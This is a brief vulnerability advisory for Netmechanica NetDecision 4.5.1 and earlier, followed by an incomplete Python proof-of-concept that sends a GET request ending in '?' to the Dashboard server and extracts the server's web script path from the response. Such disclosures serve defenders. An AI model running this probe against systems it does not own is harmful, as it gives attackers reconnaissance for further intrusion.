Vulnerable Systems:
* Netmechanica NetDecision 4.5.1 and prior
The vulnerability is caused due to improper validation of malicious HTTP request to Dashboard server appended with '?' character, which discloses the Dashboard server's web script physical path.
exploit = "GET " + "/?" + "HTTP/1.0 "+ "\r\n\r\n"
print "HTTP GET request with '?' filename triggers the vulnerability"
data = exploit
sock.sendto(data, (target, port))
res = sock.recv(1024)
sock.close()
if res.find('file: ') != -1 :
print "[+] Full Path of the web script directory of DashBoard Server is ....\r\n"
print res.split('file: ')[1]
else:
print "[+] Did not get the source path ..."
